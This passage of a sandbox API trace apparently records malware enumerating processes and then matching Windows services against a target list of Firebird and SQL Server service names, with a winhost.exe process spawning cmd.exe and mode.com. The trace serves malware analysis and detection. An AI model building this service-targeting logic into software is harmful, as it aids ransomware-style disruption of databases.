cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x224, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0233.722] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0233.722] Process32NextW (in: hSnapshot=0x49c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0233.722] lstrlenW (lpString="svchost.exe") returned 11 [0233.722] Process32NextW (in: hSnapshot=0x49c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0233.722] lstrlenW (lpString="svchost.exe") returned 11 [0233.722] Process32NextW (in: hSnapshot=0x49c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x354, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x224, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0233.723] lstrlenW (lpString="dwm.exe") returned 7 [0233.723] Process32NextW (in: hSnapshot=0x49c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0233.723] lstrlenW (lpString="svchost.exe") returned 11 [0233.723] Process32NextW (in: hSnapshot=0x49c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0233.723] lstrlenW (lpString="svchost.exe") returned 11 [0233.723] Process32NextW (in: hSnapshot=0x49c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0233.724] lstrlenW (lpString="svchost.exe") returned 11 [0233.724] Process32NextW (in: hSnapshot=0x49c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x36, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0233.724] lstrlenW (lpString="svchost.exe") returned 11 [0233.724] Process32NextW (in: hSnapshot=0x49c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0233.724] lstrlenW (lpString="svchost.exe") returned 11 [0233.724] Process32NextW (in: hSnapshot=0x49c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x428, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0233.725] lstrlenW (lpString="svchost.exe") returned 11 [0233.725] Process32NextW (in: hSnapshot=0x49c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x508, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0233.725] lstrlenW (lpString="svchost.exe") returned 11 [0233.725] Process32NextW (in: hSnapshot=0x49c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x550, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0233.725] lstrlenW (lpString="svchost.exe") returned 11 [0233.725] Process32NextW (in: hSnapshot=0x49c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0233.726] lstrlenW (lpString="svchost.exe") returned 11 [0233.726] Process32NextW (in: hSnapshot=0x49c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0233.726] lstrlenW (lpString="svchost.exe") returned 11 [0233.726] Process32NextW (in: hSnapshot=0x49c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0233.726] lstrlenW (lpString="spoolsv.exe") returned 11 [0233.727] Process32NextW (in: hSnapshot=0x49c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x66c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0233.727] lstrlenW (lpString="svchost.exe") returned 11 [0233.727] Process32NextW (in: hSnapshot=0x49c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x690, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x508, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0233.727] lstrlenW (lpString="audiodg.exe") returned 11 [0233.727] Process32NextW (in: hSnapshot=0x49c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0233.727] lstrlenW (lpString="svchost.exe") returned 11 [0233.727] Process32NextW (in: hSnapshot=0x49c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0233.728] lstrlenW (lpString="sihost.exe") returned 10 [0233.728] Process32NextW (in: hSnapshot=0x49c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x790, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0233.728] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0233.728] Process32NextW (in: hSnapshot=0x49c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0233.728] lstrlenW (lpString="Memory Compression") returned 18 [0233.728] Process32NextW (in: hSnapshot=0x49c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0233.729] lstrlenW (lpString="taskhostw.exe") returned 13 [0233.729] Process32NextW (in: hSnapshot=0x49c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x928, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x224, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0233.729] lstrlenW (lpString="userinit.exe") returned 12 [0233.729] Process32NextW (in: hSnapshot=0x49c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x938, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4b, th32ParentProcessID=0x928, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0233.729] lstrlenW (lpString="explorer.exe") returned 12 [0233.729] Process32NextW (in: hSnapshot=0x49c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0233.730] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0233.730] Process32NextW (in: hSnapshot=0x49c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0233.730] lstrlenW (lpString="SearchUI.exe") returned 12 [0233.730] Process32NextW (in: hSnapshot=0x49c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0233.730] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0233.730] Process32NextW (in: hSnapshot=0x49c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x938, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 1 [0233.731] lstrlenW (lpString="winhost.exe") returned 11 [0233.731] Process32NextW (in: hSnapshot=0x49c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xd00, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0233.731] lstrlenW (lpString="cmd.exe") returned 7 [0233.731] Process32NextW (in: hSnapshot=0x49c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xd0c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0233.731] lstrlenW (lpString="conhost.exe") returned 11 [0233.731] Process32NextW (in: hSnapshot=0x49c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xd0c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1 [0233.732] lstrlenW (lpString="mode.com") returned 8 [0233.732] Process32NextW (in: hSnapshot=0x49c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0233.732] lstrlenW (lpString="consent.exe") returned 11 [0233.732] Process32NextW (in: hSnapshot=0x49c, lppe=0x244fd2c | out: lppe=0x244fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 0 [0233.732] CloseHandle (hObject=0x49c) returned 1 [0233.732] Sleep (dwMilliseconds=0x1f4) [0234.591] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x40eb530 [0234.591] EnumServicesStatusExW (in: hSCManager=0x40eb530, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x244ff3c, lpServicesReturned=0x244ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x244ff3c, lpServicesReturned=0x244ff54, lpResumeHandle=0x0) returned 0 [0234.592] GetLastError () returned 0xea [0234.592] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x1b30) returned 0x41914a8 [0234.592] EnumServicesStatusExW (in: hSCManager=0x40eb530, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x41914a8, cbBufSize=0x1b30, pcbBytesNeeded=0x244ff3c, lpServicesReturned=0x244ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x41914a8, pcbBytesNeeded=0x244ff3c, lpServicesReturned=0x244ff54, lpResumeHandle=0x0) returned 1 [0234.593] CloseServiceHandle (hSCObject=0x40eb530) returned 1 [0234.593] lstrlenW (lpString="Appinfo") returned 7 [0234.593] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0234.593] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0234.593] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0234.593] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0234.593] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0234.593] lstrlenW (lpString="AppXSvc") returned 7 [0234.593] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0234.593] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0234.593] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0234.593] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0234.593] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0234.593] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0234.593] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0234.593] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0234.594] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0234.594] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0234.594] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0234.594] lstrlenW (lpString="Audiosrv") returned 8 [0234.594] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0234.594] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0234.594] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0234.594] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0234.594] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0234.594] lstrlenW (lpString="BFE") returned 3 [0234.594] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0234.594] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0234.594] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0234.594] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0234.594] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0234.594] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0234.594] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0234.594] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0234.594] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0234.594] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0234.594] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0234.594] lstrlenW (lpString="CDPSvc") returned 6 [0234.594] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0234.594] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0234.594] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0234.594] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0234.594] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0234.594] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0234.594] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0234.594] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0234.594] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0234.594] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0234.594] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0234.594] lstrlenW (lpString="CryptSvc") returned 8 [0234.594] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0234.594] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0234.594] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0234.594] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0234.594] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0234.594] lstrlenW (lpString="DcomLaunch") returned 10 [0234.594] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0234.594] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0234.594] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0234.595] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0234.595] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0234.595] lstrlenW (lpString="DeviceAssociationService") returned 24 [0234.595] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0234.595] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0234.595] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0234.595] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0234.595] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0234.595] lstrlenW (lpString="Dhcp") returned 4 [0234.595] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0234.595] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0234.595] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0234.595] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0234.595] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0234.595] lstrlenW (lpString="Dnscache") returned 8 [0234.595] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0234.595] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0234.595] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0234.595] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0234.595] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0234.595] lstrlenW (lpString="DPS") returned 3 [0234.595] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0234.595] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0234.595] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0234.595] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0234.595] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0234.595] lstrlenW (lpString="DusmSvc") returned 7 [0234.595] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0234.595] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0234.595] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0234.595] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0234.595] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0234.595] lstrlenW (lpString="EventLog") returned 8 [0234.595] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0234.595] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0234.595] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0234.595] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0234.595] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0234.595] lstrlenW (lpString="EventSystem") returned 11 [0234.595] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0234.595] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0234.596] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0234.596] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0234.596] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0234.596] lstrlenW (lpString="FontCache") returned 9 [0234.596] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0234.596] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0234.596] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0234.596] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0234.596] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0234.596] lstrlenW (lpString="gpsvc") returned 5 [0234.596] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0234.596] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0234.596] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0234.596] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0234.596] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0234.596] lstrlenW (lpString="iphlpsvc") returned 8 [0234.596] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0234.596] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0234.596] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0234.596] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0234.596] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0234.596] lstrlenW (lpString="KeyIso") returned 6 [0234.596] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0234.596] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0234.596] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0234.596] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0234.596] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0234.596] lstrlenW (lpString="LanmanServer") returned 12 [0234.596] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0234.596] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0234.596] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0234.596] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0234.596] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0234.596] lstrlenW (lpString="LanmanWorkstation") returned 17 [0234.596] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0234.596] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0234.596] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0234.596] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0234.596] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0234.596] lstrlenW (lpString="lfsvc") returned 5 [0234.596] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0234.596] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0234.597] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0234.597] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0234.597] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0234.597] lstrlenW (lpString="lmhosts") returned 7 [0234.597] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0234.597] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0234.597] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0234.597] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0234.597] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0234.597] lstrlenW (lpString="LSM") returned 3 [0234.597] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0234.597] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0234.597] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0234.597] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0234.597] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0234.597] lstrlenW (lpString="MpsSvc") returned 6 [0234.597] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0234.597] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0234.597] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0234.597] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0234.597] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0234.597] lstrlenW (lpString="NcbService") returned 10 [0234.597] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0234.597] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0234.597] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0234.597] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0234.597] lstrcmpiW (lpString1="sqlserveradhelper", 